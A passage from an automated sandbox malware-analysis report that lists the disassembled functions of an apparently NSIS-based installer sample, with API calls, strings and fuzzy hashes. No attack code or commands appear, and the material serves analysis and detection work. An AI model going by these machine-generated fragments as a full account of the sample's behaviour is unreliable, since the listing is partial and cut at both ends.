                                                                    • String ID:
                                                                    • API String ID: 1849352358-0
                                                                    • Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
                                                                    • Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
                                                                    • Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
                                                                    • Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28
                                                                    Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
                                                                    • SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Timeout
                                                                    • String ID: !
                                                                    • API String ID: 1777923405-2657877971
                                                                    • Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
                                                                    • Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
                                                                    • Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
                                                                    • Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758
                                                                    Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
                                                                    • wsprintfW.USER32 ref: 00404483
                                                                    • SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: ItemTextlstrlenwsprintf
                                                                    • String ID: %u.%u%s%s
                                                                    • API String ID: 3540041739-3551169577
                                                                    • Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
                                                                    • Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
                                                                    • Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
                                                                    • Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259
                                                                    Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B
                                                                    • RegCloseKey.ADVAPI32(00000000), ref: 0040282E
                                                                    • RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E
                                                                      • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                      • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                    Strings
                                                                    • DeleteRegKey: "%s\%s", xrefs: 00402843
                                                                    • DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: CloseDeleteOpenValuelstrlenwvsprintf
                                                                    • String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
                                                                    • API String ID: 1697273262-1764544995
                                                                    • Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
                                                                    • Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
                                                                    • Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
                                                                    • Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD
                                                                    Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                      • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                      • Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
                                                                      • Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318
                                                                    • lstrlenW.KERNEL32 ref: 004026B4
                                                                    • lstrlenW.KERNEL32(00000000), ref: 004026C1
                                                                    • SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
                                                                    • String ID: CopyFiles "%s"->"%s"
                                                                    • API String ID: 2577523808-3778932970
                                                                    • Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
                                                                    • Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
                                                                    • Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
                                                                    • Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759
                                                                    Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: lstrcatwsprintf
                                                                    • String ID: %02x%c$...
                                                                    • API String ID: 3065427908-1057055748
                                                                    • Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
                                                                    • Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
                                                                    • Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
                                                                    • Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794
                                                                    Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • OleInitialize.OLE32(00000000), ref: 00405083
                                                                      • Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED
                                                                    • OleUninitialize.OLE32(00000404,00000000), ref: 004050D1
                                                                      • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                      • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: InitializeMessageSendUninitializelstrlenwvsprintf
                                                                    • String ID: Section: "%s"$Skipping section: "%s"
                                                                    • API String ID: 2266616436-4211696005
                                                                    • Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
                                                                    • Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
                                                                    • Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
                                                                    • Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD
                                                                    Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDC.USER32(?), ref: 00402100
                                                                    • GetDeviceCaps.GDI32(00000000), ref: 00402107
                                                                    • MulDiv.KERNEL32(00000000,00000000), ref: 00402117
                                                                      • Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,004241C1,771B23A0,00000000), ref: 00406902
                                                                    • CreateFontIndirectW.GDI32(00420110), ref: 0040216A
                                                                      • Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: CapsCreateDeviceFontIndirectVersionwsprintf
                                                                    • String ID:
                                                                    • API String ID: 1599320355-0
                                                                    • Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
                                                                    • Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
                                                                    • Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
                                                                    • Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D
                                                                    Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
                                                                    • lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
                                                                    • lstrcmpW.KERNEL32(?,Version ), ref: 00407276
                                                                    • lstrcpynW.KERNEL32(?,?,?), ref: 0040728D
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: lstrcpyn$CreateFilelstrcmp
                                                                    • String ID: Version
                                                                    • API String ID: 512980652-315105994
                                                                    • Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
                                                                    • Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
                                                                    • Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
                                                                    • Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1
                                                                    Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
                                                                    • GetTickCount.KERNEL32 ref: 00403303
                                                                    • CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
                                                                    • ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Window$CountCreateDestroyDialogParamShowTick
                                                                    • String ID:
                                                                    • API String ID: 2102729457-0
                                                                    • Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
                                                                    • Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
                                                                    • Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
                                                                    • Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC
                                                                    Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
                                                                    • GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
                                                                    • GlobalFree.KERNEL32(00000000), ref: 004063CA
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Global$AddressAllocByteCharFreeMultiProcWide
                                                                    • String ID:
                                                                    • API String ID: 2883127279-0
                                                                    • Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
                                                                    • Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
                                                                    • Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
                                                                    • Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674
                                                                    Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • IsWindowVisible.USER32(?), ref: 0040492E
                                                                    • CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C
                                                                      • Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Window$CallMessageProcSendVisible
                                                                    • String ID:
                                                                    • API String ID: 3748168415-3916222277
                                                                    • Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
                                                                    • Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
                                                                    • Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
                                                                    • Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9
                                                                    Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
                                                                    • lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: PrivateProfileStringlstrcmp
                                                                    • String ID: !N~
                                                                    • API String ID: 623250636-529124213
                                                                    • Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
                                                                    • Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
                                                                    • Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
                                                                    • Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714
                                                                    Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
                                                                    • CloseHandle.KERNEL32(?), ref: 00405C9D
                                                                    Strings
                                                                    • Error launching installer, xrefs: 00405C74
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: CloseCreateHandleProcess
                                                                    • String ID: Error launching installer
                                                                    • API String ID: 3712363035-66219284
                                                                    • Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
                                                                    • Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
                                                                    • Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
                                                                    • Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69
                                                                    Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                    • wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                      • Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
